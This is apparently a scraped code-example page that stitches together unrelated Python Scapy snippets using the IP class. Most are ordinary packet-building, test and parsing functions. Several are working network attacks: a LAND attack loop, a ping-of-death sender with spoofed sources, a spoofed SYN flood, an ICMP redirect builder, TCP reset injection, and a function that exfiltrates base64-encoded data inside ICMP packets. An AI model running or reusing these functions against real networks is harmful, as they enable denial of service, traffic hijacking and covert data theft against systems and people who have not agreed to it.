def _send_to_target(self, data):
ether = Ether(dst='ff:ff:ff:ff:ff:ff')
ip = IP(src=self.host, dst='255.255.255.255')
udp = UDP(sport=68, dport=self.port)
payload = Raw(load=data)
packet = str(ether / ip / udp / payload)
self.logger.debug('Sending header+data to host: %s:%d' % (self.host, self.port))
self.socket.send(packet)
self.logger.debug('Header+data sent to host')
python类IP的实例源码
def add_eth_ip_udp_headers(dport):
eth = Ether(src='0C:C4:7A:A3:25:34', dst='0C:C4:7A:A3:25:35')
ip = IP(dst='10.0.0.2', ttl=64)
udp = UDP(sport=65231, dport=dport)
pkt = eth / ip / udp
return pkt
09_05_modify_ip_in_a_packet.py 文件源码
项目:011_python_network_programming_cookbook_demo
作者: jerry-0824
项目源码
文件源码
阅读 20
收藏 0
点赞 0
评论 0
def send_packet(protocol=None, src_ip=None, src_port=None, flags=None, dst_ip=None, dst_port=None, iface=None):
""" Modify and sned an IP packet. """
if protocol == 'tcp':
packet = IP(src=src_ip, dst=dst_ip)/TCP(flags=flags, sport=src_port, dport=dst_port)
elif protocol == 'udp':
if flags: raise Exception(" Flags are not suppored for udp")
packet = IP(src=src_ip, dst=dst_ip)/UDP(sport=src_port, dport=dst_port)
else:
raise Exception("Unknown protocol %s" % protocol)
send(packet, iface=iface)
def build_icmp(self):
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
IP(src=self.target, dst=self.gateway)/UDP()
return pkt
def test_ttl_cases(exp_src_mac, exp_dst_mac, port_interface_mapping, a):
fwd_pkt1 = Ether() / IP(dst='10.1.0.1') / TCP(sport=5793, dport=80)
fwd_pkt2 = Ether() / IP(dst='10.1.0.34', ttl =1) / TCP(sport=5793, dport=80)
fwd_pkt3 = Ether() / IP(dst='10.1.0.32', ttl=0) / TCP(sport=5793, dport=80)
exp_pkt1 = (Ether(src=exp_src_mac, dst=exp_dst_mac) /
IP(dst='10.1.0.1', ttl=fwd_pkt1[IP].ttl-1) / TCP(sport=5793, dport=80))
pack = send_pkts_and_capture(port_interface_mapping, [{'port': 0, 'packet': fwd_pkt1},
{'port': 1, 'packet': fwd_pkt2},
{'port': 1, 'packet': fwd_pkt3}])
input_ports = {0, 1}
output = create_port_seq_list([{'port': 2, 'packet': exp_pkt1}], pack, input_ports)
return output
def _parse_ip(ip):
'''
'''
try:
x = socket.inet_aton(ip)
return socket.inet_ntoa(x)
except:
Sploit.parse_error("'%s' is an invalid IP address" % ip)
def generator(self, n, filename):
time = 0.00114108 * n + 0.157758
minutes = time/60
print('Generating packets, it will take %s seconds, moreless (%s, minutes)' % (time, minutes))
pkgs = [IP(dst='10.0.0.1')/ICMP() for i in range(n)]
wrpcap(filename, pkgs)
print('%s packets generated.' % (n))
def cmd_land(ip, count, port, iface, verbose):
conf.verb = False
if iface:
conf.iface = iface
layer3 = IP()
layer3.dst = ip
layer3.src = ip
layer4 = TCP()
layer4.dport = port
layer4.sport = port
pkt = layer3 / layer4
counter = 0
while True:
send(pkt)
counter += 1
if verbose:
print(pkt.summary())
else:
print('.', end='')
sys.stdout.flush()
if count != 0 and counter == count:
break
return True
def cmd_isn(ip, port, count, iface, graph, verbose):
conf.verb = False
if iface:
conf.iface = iface
isn_values = []
for _ in range(count):
pkt = IP(dst=ip)/TCP(sport=RandShort(), dport=port, flags="S")
ans = sr1(pkt, timeout=0.5)
if ans:
send(IP(dst=ip)/TCP(sport=pkt[TCP].sport, dport=port, ack=ans[TCP].seq + 1, flags='A'))
isn_values.append(ans[TCP].seq)
if verbose:
ans.show2()
if graph:
try:
import matplotlib.pyplot as plt
except ImportError:
print("To graph support, install matplotlib")
return 1
plt.plot(range(len(isn_values)), isn_values, 'ro')
plt.show()
else:
for v in isn_values:
print(v)
return True
def ping_of_death(self, target):
from scapy.all import IP, ICMP, send
src = "%i.%i.%i.%i" % (
random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
ip_hdr = IP(src, target)
_packet = ip_hdr / ICMP() / (str(os.urandom(65500)))
send(_packet)
def syn_flood(self, target, port):
from scapy.all import IP, TCP, send
i = IP()
i.src = "%i.%i.%i.%i" % (random.randint(1, 254), random.randint(1, 254), random.randint(1, 254), random.randint(1, 254))
i.dst = target
t = TCP()
t.sport = random.randint(1, 65500)
t.dport = port
t.flags = 'S'
send(i / t, verbose=0)
def get_gateway(self):
p = sr1(IP(dst="www.google.com", ttl=0) / ICMP() / "X", verbose=0)
return p.src
def __init__(self):
self.ip = '' # IP of Host that the server is running on
self.port = 44353 # Host's port
def ignore_packet(self, packet, proto):
src_ip = packet[proto].src
dst_ip = packet[proto].dst
src_port = packet[TCP].sport
dst_port = packet[TCP].dport
# Target or allow by IP
if (src_ip in self.allow or dst_ip in self.allow) or (src_ip in self.allow_src) or (dst_ip in self.allow_dst):
return True
elif (self.target and ( self.src_ip not in self.target and self.dst_ip not in self.target)) or (self.target_src and not src_ip in self.target_src) or (self.target_dst and not dst_ip in self.target_dst):
return True
# Target or allow by Port
if (src_port in self.allow_ports or dst_port in self.allow_ports) or (src_port in self.allow_sport) or (dst_port in self.allow_dport):
return True
elif (self.target_ports and (not src_port in self.target_ports and not dst_port in self.target_ports)) or (self.target_sport and not src_port in self.target_sport) or (self.target_dport and not dst_port in self.target_dport):
return True
# Target randomly
if self.randomize == "often" and randint(1, 10) < 2:
return True
elif self.randomize == "half" and randint(1, 10) < 5:
return True
elif self.randomize == "seldom" and randint(1, 10) < 8:
return True
else:
return False
###############################################################
# Scapy #
###############################################################
def build_packet(self, src_mac, dst_mac, src_ip, dst_ip, src_port, dst_port, seq, proto):
eth = Ether(src=src_mac, dst=dst_mac, type=0x800)
if proto == IP:
ip = IP(src=src_ip, dst=dst_ip)
elif proto == IPv6:
ip = IPv6(src=src_ip, dst=dst_ip)
else:
return str(eth) #if unknown L2 protocol, send back dud ether packet
tcp = TCP(sport=src_port, dport=dst_port, seq=seq, flags="R")
return str(eth/ip/tcp)
def launch(self):
send(IP(src=self.get_value("target"), dst=self.get_value("target"))/TCP(sport=self.get_value("port"), dport=self.get_value("port")), count=self.get_value("size"))
def heartbeat_call(self, event):
# Send a packet to every WiFiTrilat server.
for host in [s[1:s.find('/WiFi')] for s in self.client.discover()]:
#sr(IP(dst=host)/ICMP(), iface=self.interface)
cli.execute(command='ping -c 4 %s' % host, wait=False, shellexec=True)
def send(data):
data = base64.b64encode(data)
app_exfiltrate.log_message(
'info', "[icmp] Sending {} bytes with ICMP packet".format(len(data)))
scapy.sendp(scapy.Ether() /
scapy.IP(dst=config['target']) / scapy.ICMP() / data, verbose=0)
def make_stamp(pkt):
if s.IP in pkt:
ip_send = pkt[s.IP].src
ip_rec = pkt[s.IP].dst
else:
return None
if s.TCP in pkt:
# port_send = pkt[TCP].sport
# port_rec = pkt[TCP].dport
protocol = "TCP"
elif s.UDP in pkt:
# port_send = pkt[UDP].sport
# port_rec = pkt[UDP].dport
protocol = "UDP"
elif s.ICMP in pkt:
# port_send = 1 # pkt[ICMP].sport
# port_rec = 1 # pkt[ICMP].dport
protocol = "ICMP"
else:
return None # if not TCP or UDP or ICMP
return ip_send, ip_rec, protocol
def get_max_delay(session, our_ip):
cnt_c = 0
cnt_s = 0
curr = session.combined[0]
for i in xrange(1, len(session.combined)):
pkt_tuple = session.combined[i]
prev = curr
curr = pkt_tuple
if curr[1] - prev[1] > 1:
if curr[0][s.IP].src == our_ip:
cnt_c += 1
else:
cnt_s += 1
return cnt_c, cnt_s